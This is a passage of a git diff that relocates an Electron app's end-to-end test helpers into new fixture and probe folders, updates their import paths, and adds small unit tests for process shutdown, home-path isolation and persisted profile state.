import { tmpdir } from 'node:os' import path from 'node:path' import { build } from 'esbuild' import { expect, test } from '@playwright/test' -import { DaemonClient } from '../../src/main/daemon/transport/client/daemon-client' -import { DaemonPtyAdapter } from '../../src/main/daemon/providers/adapter/daemon-pty-adapter' +import { DaemonClient } from '../../../../src/main/daemon/transport/client/daemon-client' +import { DaemonPtyAdapter } from '../../../../src/main/daemon/providers/adapter/daemon-pty-adapter' import { getDaemonPidPath, getDaemonSocketPath, getDaemonTokenPath -} from '../../src/main/daemon/launch/daemon-spawner' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' +} from '../../../../src/main/daemon/launch/daemon-spawner' +import { PROTOCOL_VERSION } from '../../../../src/main/daemon/protocol/daemon-protocol-version' // Connect to prove liveness: retired daemons deliberately leave endpoint entries on disk. function connectsTo(socketPath: string): Promise { diff --git a/tests/e2e/helpers/e2e-completed-onboarding-profile.ts b/tests/e2e/desktop/electron-fixtures/e2e-completed-onboarding-profile.ts similarity index 86% rename from tests/e2e/helpers/e2e-completed-onboarding-profile.ts rename to tests/e2e/desktop/electron-fixtures/e2e-completed-onboarding-profile.ts index 0b618364cd5..9e231da2abd 100644 --- a/tests/e2e/helpers/e2e-completed-onboarding-profile.ts +++ b/tests/e2e/desktop/electron-fixtures/e2e-completed-onboarding-profile.ts @@ -1,9 +1,9 @@ import { ONBOARDING_FINAL_STEP, ONBOARDING_FLOW_VERSION -} from '../../../src/shared/onboarding/onboarding-defaults' -import { FEATURE_INTERACTION_IDS } from '../../../src/shared/feature-education/interactions/feature-interaction-catalog' -import { FEATURE_TIP_IDS } from '../../../src/shared/feature-education/feature-tips' +} from '../../../../src/shared/onboarding/onboarding-defaults' +import { FEATURE_INTERACTION_IDS } from '../../../../src/shared/feature-education/interactions/feature-interaction-catalog' +import { FEATURE_TIP_IDS } from '../../../../src/shared/feature-education/feature-tips' const SEEN_FIRST_RUN_CONTEXTUAL_TOUR_IDS = [ 'workspace-board', diff --git a/tests/e2e/helpers/electron-crashpad-cleanup.ts b/tests/e2e/desktop/electron-fixtures/electron-crashpad-cleanup.ts similarity index 100% rename from tests/e2e/helpers/electron-crashpad-cleanup.ts rename to tests/e2e/desktop/electron-fixtures/electron-crashpad-cleanup.ts diff --git a/tests/e2e/helpers/electron-home-isolation.ts b/tests/e2e/desktop/electron-fixtures/electron-home-isolation.ts similarity index 100% rename from tests/e2e/helpers/electron-home-isolation.ts rename to tests/e2e/desktop/electron-fixtures/electron-home-isolation.ts diff --git a/tests/e2e/desktop/electron-fixtures/electron-home-isolation.unit.test.ts b/tests/e2e/desktop/electron-fixtures/electron-home-isolation.unit.test.ts new file mode 100644 index 00000000000..90547907419 --- /dev/null +++ b/tests/e2e/desktop/electron-fixtures/electron-home-isolation.unit.test.ts @@ -0,0 +1,22 @@ +import { rmSync } from 'node:fs' +import 'node:os' +import 'node:path' +import { afterEach, describe, expect, it, vi } from 'vitest' +import '../../../../src/main/zcode/zcode-v2-plan-credentials' + +import { areSameHomePath } from './electron-home-isolation' + +const tempDirs: string[] = [] + +afterEach(() => { + vi.unstubAllGlobals() + for (const tempDir of tempDirs.splice(0)) { + rmSync(tempDir, { recursive: true, force: true }) + } +}) + +describe('createElectronHomeIsolation', () => { + it('compares Windows home paths case-insensitively', () => { + expect(areSameHomePath('C:\\Users\\Alice', 'c:\\users\\alice', 'win32')).toBe(true) + }) +}) diff --git a/tests/e2e/helpers/electron-launch-args.ts b/tests/e2e/desktop/electron-fixtures/electron-launch-args.ts similarity index 100% rename from tests/e2e/helpers/electron-launch-args.ts rename to tests/e2e/desktop/electron-fixtures/electron-launch-args.ts diff --git a/tests/e2e/helpers/electron-main-evaluate-retry.ts b/tests/e2e/desktop/electron-fixtures/electron-main-evaluate-retry.ts similarity index 100% rename from tests/e2e/helpers/electron-main-evaluate-retry.ts rename to tests/e2e/desktop/electron-fixtures/electron-main-evaluate-retry.ts diff --git a/tests/e2e/desktop/electron-fixtures/electron-process-handle.ts b/tests/e2e/desktop/electron-fixtures/electron-process-handle.ts new file mode 100644 index 00000000000..e0624a945b9 --- /dev/null +++ b/tests/e2e/desktop/electron-fixtures/electron-process-handle.ts @@ -0,0 +1,14 @@ +import type { ChildProcess } from 'node:child_process' +import type { ElectronApplication } from '@stablyai/playwright-test' + +const processByApp = new WeakMap() + +// Playwright disposes its process dispatcher when Electron exits; retain the handle for cleanup. +export function getElectronProcessForE2E(app: ElectronApplication): ChildProcess { + let proc = processByApp.get(app) + if (!proc) { + proc = app.process() + processByApp.set(app, proc) + } + return proc +} diff --git a/tests/e2e/helpers/electron-process-shutdown.ts b/tests/e2e/desktop/electron-fixtures/electron-process-shutdown.ts similarity index 97% rename from tests/e2e/helpers/electron-process-shutdown.ts rename to tests/e2e/desktop/electron-fixtures/electron-process-shutdown.ts index 063dd128f47..7c620d476d6 100644 --- a/tests/e2e/helpers/electron-process-shutdown.ts +++ b/tests/e2e/desktop/electron-fixtures/electron-process-shutdown.ts @@ -5,6 +5,7 @@ import path from 'node:path' import { cleanupE2ECrashpad } from './electron-crashpad-cleanup' import { recordElectronShutdownTiming } from './electron-shutdown-timing' import type { ElectronApplication } from '@stablyai/playwright-test' +import { getElectronProcessForE2E } from './electron-process-handle' const GRACEFUL_CLOSE_TIMEOUT_MS = 10_000 const PROCESS_EXIT_TIMEOUT_MS = 5_000 @@ -172,7 +173,7 @@ export async function forceQuitElectronAppForE2E( app: ElectronApplication, options: { preserveDaemons?: boolean } = {} ): Promise { - const proc = app.process() + const proc = getElectronProcessForE2E(app) const pid = proc.pid if (pid) { if (options.preserveDaemons) { @@ -208,7 +209,7 @@ export async function forceQuitElectronAppForE2E( // Stop serve like a supervisor so its detached PTYs survive; macOS vetoes unmarked app.quit and ordinary close may kill the daemon (#15537). export async function stopServeElectronAppForE2E(app: ElectronApplication): Promise { - const proc = app.process() + const proc = getElectronProcessForE2E(app) // Why: Windows has no catchable SIGTERM, and its serve has no native-quit veto to bypass. if (process.platform === 'win32' || !proc.pid) { await closeElectronAppForE2E(app) @@ -233,7 +234,7 @@ export async function closeElectronAppForE2E( app: ElectronApplication, options: { cleanupDaemonsForUserDataDir?: string } = {} ): Promise { - const proc = app.process() + const proc = getElectronProcessForE2E(app) const started = performance.now() let rootExitMs: number | null = hasExited(proc) ? 0 : null let pipesClosedMs: number | null = null diff --git a/tests/e2e/desktop/electron-fixtures/electron-process-shutdown.unit.test.ts b/tests/e2e/desktop/electron-fixtures/electron-process-shutdown.unit.test.ts new file mode 100644 index 00000000000..d37a865bcca --- /dev/null +++ b/tests/e2e/desktop/electron-fixtures/electron-process-shutdown.unit.test.ts @@ -0,0 +1,134 @@ +import { EventEmitter, once } from 'node:events' +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import path from 'node:path' +import { spawnProcess } from '@orca/process-host' +import { PassThrough } from 'node:stream' +import type { ChildProcess } from 'node:child_process' +import type { ElectronApplication } from '@stablyai/playwright-test' +import { afterEach, describe, expect, it, vi } from 'vitest' +import { closeElectronAppForE2E } from './electron-process-shutdown' + +function exitedAppFixture() { + const proc = Object.assign(new EventEmitter(), { + exitCode: null as number | null, + signalCode: null, + stdio: [new PassThrough(), new PassThrough(), new PassThrough()] + }) + const pipesClosed = Promise.all( + proc.stdio.map((stream) => new Promise((resolve) => stream.once('close', resolve))) + ) + const close = vi.fn(() => pipesClosed) + const app = { + process: () => proc as unknown as ChildProcess, + close + } as unknown as ElectronApplication + return { proc, app, close } +} + +const ownedChildren = new Set() +const ownedProfiles = new Set() + +function pidIsGone(pid: number): boolean { + try { + process.kill(pid, 0) + return false + } catch (error) { + if (error instanceof Error && 'code' in error && error.code === 'ESRCH') { + return true + } + throw error + } +} + +async function ownedDaemon(mode: 'exit' | 'ignore' | 'descendant') { + const proc = spawnProcess({ + program: process.env.ORCA_TEST_NODE_EXECUTABLE ?? process.execPath, + args: [ + '-e', + ` + const { spawn } = require('node:child_process') + const mode = process.argv[1] + setInterval(() => {}, 1000) + if (mode === 'ignore') process.on('SIGTERM', () => {}) + if (mode === 'descendant') { + const child = spawn(process.execPath, ['-e', \` + process.on('SIGTERM', () => {}) + setInterval(() => {}, 1000) + process.send(process.pid) + \`], { stdio: ['ignore', 'ignore', 'ignore', 'ipc'] }) + child.once('message', pid => process.send({ node: process.versions.node, pids: [process.pid, pid] })) + } else { + process.send({ node: process.versions.node, pids: [process.pid] }) + } + `, + mode + ], + env: { ...process.env, ORCA_BACKGROUND_LAUNCH: '1' }, + stdio: ['ignore', 'ignore', 'ignore', 'ipc'], + detached: true, + timeoutMs: null + }) + ownedChildren.add(proc) + const exited = once(proc, 'exit') + const readiness: unknown = (await once(proc, 'message'))[0] + if ( + !readiness || + typeof readiness !== 'object' || + !('node' in readiness) || + typeof readiness.node !== 'string' || + !('pids' in readiness) || + !Array.isArray(readiness.pids) + ) { + throw new Error('Missing real Node daemon readiness') + } + const pids = readiness.pids.map((pid: unknown) => { + if (typeof pid !== 'number' || !Number.isSafeInteger(pid) || pid <= 1) { + throw new Error('Invalid owned daemon PID') + } + return pid + }) + if (!proc.pid || pids[0] !== proc.pid) { + throw new Error('Daemon readiness does not belong to the spawned child') + } + const profile = mkdtempSync(path.join(tmpdir(), 'orca-daemon-exit-')) + ownedProfiles.add(profile) + mkdirSync(path.join(profile, 'daemon')) + writeFileSync(path.join(profile, 'daemon', 'owned.pid'), JSON.stringify({ pid: proc.pid })) + return { proc, pids, profile, exited } +} + +afterEach(async () => { + vi.useRealTimers() + for (const proc of ownedChildren) { + const pid = proc.pid + if (pid) { + try { + process.kill(-pid, 'SIGKILL') + } catch (error) { + if (!(error instanceof Error && 'code' in error && error.code === 'ESRCH')) { + throw error + } + } + if (proc.exitCode === null && proc.signalCode === null) { + await once(proc, 'exit') + } + await expect.poll(() => pidIsGone(-pid), { timeout: 5_000 }).toBe(true) + } + } + ownedChildren.clear() + for (const profile of ownedProfiles) { + rmSync(profile, { recursive: true, force: true }) + } + ownedProfiles.clear() +}) + +describe.skipIf(process.platform === 'win32')('owned POSIX daemon cleanup', () => { + it('preserves a running daemon when final cleanup is not requested', async () => { + const daemon = await ownedDaemon('exit') + const { proc, app } = exitedAppFixture() + proc.exitCode = 0 + await closeElectronAppForE2E(app) + expect(daemon.pids.every((pid) => !pidIsGone(pid))).toBe(true) + }) +}) diff --git a/tests/e2e/helpers/electron-shutdown-timing.ts b/tests/e2e/desktop/electron-fixtures/electron-shutdown-timing.ts similarity index 100% rename from tests/e2e/helpers/electron-shutdown-timing.ts rename to tests/e2e/desktop/electron-fixtures/electron-shutdown-timing.ts diff --git a/tests/e2e/helpers/hidden-renderer-frame-capture.ts b/tests/e2e/desktop/electron-fixtures/hidden-renderer-frame-capture.ts similarity index 66% rename from tests/e2e/helpers/hidden-renderer-frame-capture.ts rename to tests/e2e/desktop/electron-fixtures/hidden-renderer-frame-capture.ts index 95764fdcbd4..5c61bfcf64d 100644 --- a/tests/e2e/helpers/hidden-renderer-frame-capture.ts +++ b/tests/e2e/desktop/electron-fixtures/hidden-renderer-frame-capture.ts @@ -1,6 +1,7 @@ import type { Page } from '@playwright/test' -import { startHiddenRendererFrameCapture as startCapture } from '../../../src/main/browser/electron-fixtures/hidden-renderer-frame-capture-fixture' -import { expect } from './orca-app' +import { startHiddenRendererFrameCapture as startCapture } from '../../../../src/main/browser/electron-fixtures/hidden-renderer-frame-capture-fixture' +import './orca-app' +import { expect } from '@stablyai/playwright-test' export async function startHiddenRendererFrameCapture(page: Page): Promise<() => Promise> { return startCapture(page, async (hasFrame) => { diff --git a/tests/e2e/helpers/hold-window-graph-publication.ts b/tests/e2e/desktop/electron-fixtures/hold-window-graph-publication.ts similarity index 100% rename from tests/e2e/helpers/hold-window-graph-publication.ts rename to tests/e2e/desktop/electron-fixtures/hold-window-graph-publication.ts diff --git a/tests/e2e/helpers/orca-app.ts b/tests/e2e/desktop/electron-fixtures/orca-app.ts similarity index 99% rename from tests/e2e/helpers/orca-app.ts rename to tests/e2e/desktop/electron-fixtures/orca-app.ts index 81d31f1959d..bbe10567b05 100644 --- a/tests/e2e/helpers/orca-app.ts +++ b/tests/e2e/desktop/electron-fixtures/orca-app.ts @@ -24,7 +24,7 @@ import { createSeededTestRepo, isValidGitRepo, provideWorkerTestRepository -} from './seeded-test-repo' +} from '../../workspaces/repository-fixtures/seeded-test-repo' type OrcaTestFixtures = { electronApp: ElectronApplication @@ -348,5 +348,3 @@ export const test = base.extend({ await provideFixture(sharedPage) } }) - -export { expect } from '@stablyai/playwright-test' diff --git a/tests/e2e/helpers/orca-restart-launch-options.ts b/tests/e2e/desktop/electron-fixtures/orca-restart-launch-options.ts similarity index 100% rename from tests/e2e/helpers/orca-restart-launch-options.ts rename to tests/e2e/desktop/electron-fixtures/orca-restart-launch-options.ts diff --git a/tests/e2e/helpers/orca-restart.ts b/tests/e2e/desktop/electron-fixtures/orca-restart.ts similarity index 99% rename from tests/e2e/helpers/orca-restart.ts rename to tests/e2e/desktop/electron-fixtures/orca-restart.ts index f777906d54e..4cb1a0dc9e2 100644 --- a/tests/e2e/helpers/orca-restart.ts +++ b/tests/e2e/desktop/electron-fixtures/orca-restart.ts @@ -14,7 +14,7 @@ import os from 'node:os' import path from 'node:path' import { runProcess } from '@orca/process-host' import type { ProcessResult } from '@orca/process-host/process-spec' -export { launchOwnedBrowserForE2E } from './browser-sidecar-launch' +import '../../browser/guest-lifecycle/browser-sidecar-launch' import { getE2ECompletedOnboardingProfile } from './e2e-completed-onboarding-profile' import { getOrcaElectronLaunchArgs } from './electron-launch-args' import { retryTransientMainEvaluate } from './electron-main-evaluate-retry' diff --git a/tests/e2e/helpers/persisted-profile-state.ts b/tests/e2e/desktop/electron-fixtures/persisted-profile-state.ts similarity index 70% rename from tests/e2e/helpers/persisted-profile-state.ts rename to tests/e2e/desktop/electron-fixtures/persisted-profile-state.ts index 281120f057c..a34a86fe674 100644 --- a/tests/e2e/helpers/persisted-profile-state.ts +++ b/tests/e2e/desktop/electron-fixtures/persisted-profile-state.ts @@ -1,13 +1,13 @@ import { join } from 'node:path' -import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../../src/shared/orca-profiles/orca-profiles' +import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../../../src/shared/orca-profiles/orca-profiles' import { acquireProfileStateMaintenance, acquireProfileStateRuntimeAdmission -} from '../../../src/main/persistence/profile-state/access/profile-state-access' -import { openProfileStateDatabaseReadOnly } from '../../../src/main/persistence/profile-state/database/profile-state-database' -import { readProfileStateParsedSnapshot } from '../../../src/main/persistence/profile-state/documents/profile-state-documents' -import { parseProfileStateRoot } from '../../../src/main/persistence/profile-state/documents/profile-state-document-validation' -import { ProfileStateSqliteAuthority } from '../../../src/main/persistence/profile-state/profile-state-sqlite-authority' +} from '../../../../src/main/persistence/profile-state/access/profile-state-access' +import { openProfileStateDatabaseReadOnly } from '../../../../src/main/persistence/profile-state/database/profile-state-database' +import { readProfileStateParsedSnapshot } from '../../../../src/main/persistence/profile-state/documents/profile-state-documents' +import { parseProfileStateRoot } from '../../../../src/main/persistence/profile-state/documents/profile-state-document-validation' +import { ProfileStateSqliteAuthority } from '../../../../src/main/persistence/profile-state/profile-state-sqlite-authority' /** Read committed storage without consulting a retained migration JSON snapshot. */ export function readPersistedProfileState( diff --git a/tests/e2e/desktop/electron-fixtures/persisted-profile-state.unit.test.ts b/tests/e2e/desktop/electron-fixtures/persisted-profile-state.unit.test.ts new file mode 100644 index 00000000000..1066625b04b --- /dev/null +++ b/tests/e2e/desktop/electron-fixtures/persisted-profile-state.unit.test.ts @@ -0,0 +1,42 @@ +import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, expect, it } from 'vitest' +import { openProfileStateDatabase } from '../../../../src/main/persistence/profile-state/database/profile-state-database' +import { importProfileStateJson } from '../../../../src/main/persistence/profile-state/documents/profile-state-documents' +import { acquireProfileStateRuntimeAdmission } from '../../../../src/main/persistence/profile-state/access/profile-state-access' +import { mutateStoppedProfileState } from './persisted-profile-state' + +const roots: string[] = [] +afterEach(() => { + for (const root of roots.splice(0)) { + rmSync(root, { recursive: true, force: true }) + } +}) + +function fixture() { + const root = mkdtempSync(join(tmpdir(), 'orca-persisted-test-state-')) + roots.push(root) + const directory = join(root, 'profiles', 'local-default') + mkdirSync(directory, { recursive: true }) + const databaseFile = join(directory, 'profile-state.db') + const dataFile = join(directory, 'orca-data.json') + const state = { settings: { sealed: 'ciphertext' }, unknown: { kept: null, output: '\ud800' } } + const opened = openProfileStateDatabase(databaseFile, 'local-default') + try { + importProfileStateJson(opened.db, JSON.stringify(state)) + } finally { + opened.db.close() + } + writeFileSync(dataFile, '{"retained":"old migration snapshot"}') + return { root, databaseFile, dataFile, state } +} + +it('does not create missing authority when a test points at the wrong profile', () => { + const item = fixture() + rmSync(item.databaseFile) + expect(() => mutateStoppedProfileState(item.root, () => {})).toThrow() + expect(existsSync(item.databaseFile)).toBe(false) + const runtime = acquireProfileStateRuntimeAdmission(item.root) + runtime.release() +}) diff --git a/tests/e2e/helpers/renderer-console-forwarding.ts b/tests/e2e/desktop/electron-fixtures/renderer-console-forwarding.ts similarity index 100% rename from tests/e2e/helpers/renderer-console-forwarding.ts rename to tests/e2e/desktop/electron-fixtures/renderer-console-forwarding.ts diff --git a/tests/e2e/helpers/event-loop-delay-report.ts b/tests/e2e/desktop/renderer-probes/event-loop-delay-report.ts similarity index 97% rename from tests/e2e/helpers/event-loop-delay-report.ts rename to tests/e2e/desktop/renderer-probes/event-loop-delay-report.ts index fa638abd0fb..97982f6983d 100644 --- a/tests/e2e/helpers/event-loop-delay-report.ts +++ b/tests/e2e/desktop/renderer-probes/event-loop-delay-report.ts @@ -6,7 +6,7 @@ import { expect } from '@stablyai/playwright-test' import { EVENT_LOOP_DELAY_REPORT_FILE, type EventLoopDelayWindow -} from '../../../src/main/diagnostics/event-loop-delay-probe' +} from '../../../../src/main/diagnostics/event-loop-delay-probe' export type EventLoopDelaySummary = { process: EventLoopDelayWindow['process'] diff --git a/tests/e2e/helpers/first-drawn-watch.ts b/tests/e2e/desktop/renderer-probes/first-drawn-watch.ts similarity index 100% rename from tests/e2e/helpers/first-drawn-watch.ts rename to tests/e2e/desktop/renderer-probes/first-drawn-watch.ts diff --git a/tests/e2e/helpers/onboarding-navigation.ts b/tests/e2e/desktop/renderer-probes/onboarding-navigation.ts similarity index 100% rename from tests/e2e/helpers/onboarding-navigation.ts rename to tests/e2e/desktop/renderer-probes/onboarding-navigation.ts diff --git a/tests/e2e/helpers/page-evaluate-polled.ts b/tests/e2e/desktop/renderer-probes/page-evaluate-polled.ts similarity index 93% rename from tests/e2e/helpers/page-evaluate-polled.ts rename to tests/e2e/desktop/renderer-probes/page-evaluate-polled.ts index 70b31a171fb..12eb61d696f 100644 --- a/tests/e2e/helpers/page-evaluate-polled.ts +++ b/tests/e2e/desktop/renderer-probes/page-evaluate-polled.ts @@ -1,5 +1,6 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' type Outcome = | { state: 'pending' } diff --git a/tests/e2e/helpers/runtime-types.ts b/tests/e2e/desktop/renderer-probes/runtime-types.ts similarity index 70% rename from tests/e2e/helpers/runtime-types.ts rename to tests/e2e/desktop/renderer-probes/runtime-types.ts index 8951c80c8c6..c375532ea50 100644 --- a/tests/e2e/helpers/runtime-types.ts +++ b/tests/e2e/desktop/renderer-probes/runtime-types.ts @@ -1,20 +1,20 @@ -import type { AppState } from '../../../src/renderer/src/store/types' -import type { PaneManager } from '../../../src/renderer/src/lib/pane-manager/pane-manager' -import type { OpenFile } from '../../../src/renderer/src/store/slices/editor/types/open-file' -import type { RightSidebarTab } from '../../../src/shared/ui-chrome/ui-chrome-types' +import type { AppState } from '../../../../src/renderer/src/store/types' +import type { PaneManager } from '../../../../src/renderer/src/lib/pane-manager/pane-manager' +import type { OpenFile } from '../../../../src/renderer/src/store/slices/editor/types/open-file' +import type { RightSidebarTab } from '../../../../src/shared/ui-chrome/ui-chrome-types' import type { ManagedPane, ManagedPaneInternal, PaneRenderingDiagnostics -} from '../../../src/renderer/src/lib/pane-manager/pane-manager-types' -import type { GlobalSettings } from '../../../src/shared/settings/global-settings-types' -import type { BrowserWorkspace } from '../../../src/shared/browser/workspaces/browser-workspace-types' -import type { Repo } from '../../../src/shared/repository/repo-types' -import type { WorkspaceVisibleTabType } from '../../../src/shared/workspace-layout/tab-groups/tab-types' -import type { TerminalTab } from '../../../src/shared/workspace-layout/terminal-tab-types' -import type { Worktree } from '../../../src/shared/worktree/types' -import type { DictationMeterState } from '../../../src/shared/speech/dictation/dictation-audio-meter' -import type { ReactCommitHook } from './tab-render-recorder' +} from '../../../../src/renderer/src/lib/pane-manager/pane-manager-types' +import type { GlobalSettings } from '../../../../src/shared/settings/global-settings-types' +import type { BrowserWorkspace } from '../../../../src/shared/browser/workspaces/browser-workspace-types' +import type { Repo } from '../../../../src/shared/repository/repo-types' +import type { WorkspaceVisibleTabType } from '../../../../src/shared/workspace-layout/tab-groups/tab-types' +import type { TerminalTab } from '../../../../src/shared/workspace-layout/terminal-tab-types' +import type { Worktree } from '../../../../src/shared/worktree/types' +import type { DictationMeterState } from '../../../../src/shared/speech/dictation/dictation-audio-meter' +import type { ReactCommitHook } from '../../terminal/performance/tab-render-recorder' // window.__store is the bound Zustand store, including its StoreApi. export type AppStore = { diff --git a/tests/e2e/helpers/shortcuts.ts b/tests/e2e/desktop/renderer-probes/shortcuts.ts similarity index 100% rename from tests/e2e/helpers/shortcuts.ts rename to tests/e2e/desktop/renderer-probes/shortcuts.ts diff --git a/tests/e2e/helpers/store.ts b/tests/e2e/desktop/renderer-probes/store.ts similarity index 100% rename from tests/e2e/helpers/store.ts rename to tests/e2e/desktop/renderer-probes/store.ts diff --git a/tests/e2e/helpers/settings-pane-visits.ts b/tests/e2e/desktop/settings/settings-pane-visits.ts similarity index 84% rename from tests/e2e/helpers/settings-pane-visits.ts rename to tests/e2e/desktop/settings/settings-pane-visits.ts index 8fc13c73a81..5e970f0b947 100644 --- a/tests/e2e/helpers/settings-pane-visits.ts +++ b/tests/e2e/desktop/settings/settings-pane-visits.ts @@ -1,6 +1,7 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import type { SettingsNavTarget } from '../../../src/renderer/src/components/settings/navigation/settings-navigation-types' +import '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import type { SettingsNavTarget } from '../../../../src/renderer/src/components/settings/navigation/settings-navigation-types' /** * Opens Settings and shows each pane in turn, waiting until it has mounted (only the active pane diff --git a/tests/e2e/electron-home-isolation.spec.ts b/tests/e2e/desktop/startup-recovery/electron-home-isolation.spec.ts similarity index 92% rename from tests/e2e/electron-home-isolation.spec.ts rename to tests/e2e/desktop/startup-recovery/electron-home-isolation.spec.ts index d3218c79062..b3858ca70e8 100644 --- a/tests/e2e/electron-home-isolation.spec.ts +++ b/tests/e2e/desktop/startup-recovery/electron-home-isolation.spec.ts @@ -1,7 +1,8 @@ import type { ElectronApplication } from '@stablyai/playwright-test' import { realpathSync } from 'node:fs' import path from 'node:path' -import { expect, test } from './helpers/orca-app' +import { test } from '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' test.use({ seedTestRepo: false }) diff --git a/tests/e2e/renderer-crash-recovery-terminal-input.spec.ts b/tests/e2e/desktop/startup-recovery/renderer-crash-recovery-terminal-input.spec.ts similarity index 91% rename from tests/e2e/renderer-crash-recovery-terminal-input.spec.ts rename to tests/e2e/desktop/startup-recovery/renderer-crash-recovery-terminal-input.spec.ts index 83d0a6d2fd9..40a0266751a 100644 --- a/tests/e2e/renderer-crash-recovery-terminal-input.spec.ts +++ b/tests/e2e/desktop/startup-recovery/renderer-crash-recovery-terminal-input.spec.ts @@ -2,14 +2,20 @@ // Drive recovery from main because renderer crash severs Playwright’s CDP session even after the app reloads. import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { retryTransientMainEvaluate } from './helpers/electron-main-evaluate-retry' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { retryTransientMainEvaluate } from '../electron-fixtures/electron-main-evaluate-retry' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../renderer-probes/store' +import '../../terminal/input/terminal' +import { discoverActivePtyId } from '../../terminal/input/terminal-active-pane' import { - discoverActivePtyId, waitForActiveTerminalManager, waitForPaneCount -} from './helpers/terminal' +} from '../../terminal/layout/terminal-pane-operations' import { buildFrozenPaneReport, mainGetAllTerminalContent, @@ -20,7 +26,7 @@ import { mainRendererStoreReady, mainWaitForPaneMounted, probeKeyboardType -} from './helpers/terminal-input-probes' +} from '../../terminal/input/terminal-input-probes' // Use two crashes: the third risks tripping the three-per-minute recovery circuit breaker. const CRASH_CYCLES = 2 diff --git a/tests/e2e/restart-restore-terminal-input.spec.ts b/tests/e2e/desktop/startup-recovery/restart-restore-terminal-input.spec.ts similarity index 91% rename from tests/e2e/restart-restore-terminal-input.spec.ts rename to tests/e2e/desktop/startup-recovery/restart-restore-terminal-input.spec.ts index 537d32c291c..af9928a84ed 100644 --- a/tests/e2e/restart-restore-terminal-input.spec.ts +++ b/tests/e2e/desktop/startup-recovery/restart-restore-terminal-input.spec.ts @@ -5,28 +5,34 @@ import { execFileSync } from 'node:child_process' import { existsSync, readFileSync } from 'node:fs' import path from 'node:path' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' +import { test } from '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { TEST_REPO_PATH_FILE } from '../../global-setup' +import '../../terminal/input/terminal' +import { discoverActivePtyId } from '../../terminal/input/terminal-active-pane' import { - discoverActivePtyId, execInTerminal, - getTerminalContent, waitForActiveTerminalManager, waitForPaneCount, waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' +} from '../../terminal/layout/terminal-pane-operations' +import { getTerminalContent } from '../../terminal/layout/terminal-pane-identity' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../renderer-probes/store' +import { attachRepoAndOpenTerminal, createRestartSession } from '../electron-fixtures/orca-restart' import { buildFrozenPaneReport, getStorePtyIds, probeDirectWrite, probeKeyboardType, probeOwnershipRebuildRevival -} from './helpers/terminal-input-probes' -import { waitForRestoredTerminalInputReady } from './helpers/restored-terminal-input-readiness' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { PTY_SESSION_ID_SEPARATOR } from '../../src/shared/terminal/pty/lifecycle/pty-session-id-format' +} from '../../terminal/input/terminal-input-probes' +import { waitForRestoredTerminalInputReady } from '../../terminal/readiness/restored-terminal-input-readiness' +import { PROTOCOL_VERSION } from '../../../../src/main/daemon/protocol/daemon-protocol-version' +import { PTY_SESSION_ID_SEPARATOR } from '../../../../src/shared/terminal/pty/lifecycle/pty-session-id-format' const REQUIRE_WINDOWS_TERMINAL_RESTART_E2E = process.env.ORCA_REQUIRE_WINDOWS_TERMINAL_RESTART_E2E === '1' diff --git a/tests/e2e/restart-unopened-workspace-terminal-attach.spec.ts b/tests/e2e/desktop/startup-recovery/restart-unopened-workspace-terminal-attach.spec.ts similarity index 91% rename from tests/e2e/restart-unopened-workspace-terminal-attach.spec.ts rename to tests/e2e/desktop/startup-recovery/restart-unopened-workspace-terminal-attach.spec.ts index 167a58084f5..55d950e513a 100644 --- a/tests/e2e/restart-unopened-workspace-terminal-attach.spec.ts +++ b/tests/e2e/desktop/startup-recovery/restart-unopened-workspace-terminal-attach.spec.ts @@ -1,13 +1,14 @@ // A terminal that survives a quit in a workspace the window never opened must stream to main after relaunch. import { readFileSync, rmSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeTerminalSummary } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { createRetentionFixtureDirectory } from './helpers/host-created-terminal-retention-oracle' +import { RuntimeClient } from '../../../../src/cli/runtime/client' +import type { RuntimeTerminalSummary } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import { test } from '../electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { TEST_REPO_PATH_FILE } from '../../global-setup' +import { waitForActiveWorktree, waitForSessionReady } from '../renderer-probes/store' +import { attachRepoAndOpenTerminal, createRestartSession } from '../electron-fixtures/orca-restart' +import { createRetentionFixtureDirectory } from '../../terminal/remote-parking/host-created-terminal-retention-oracle' const scratch = createRetentionFixtureDirectory() const printerPath = path.join(scratch, 'printer.mjs') diff --git a/tests/e2e/windows-missing-appdata-startup.spec.ts b/tests/e2e/desktop/startup-recovery/windows-missing-appdata-startup.spec.ts similarity index 80% rename from tests/e2e/windows-missing-appdata-startup.spec.ts rename to tests/e2e/desktop/startup-recovery/windows-missing-appdata-startup.spec.ts index 825d32f419c..58c9bc26288 100644 --- 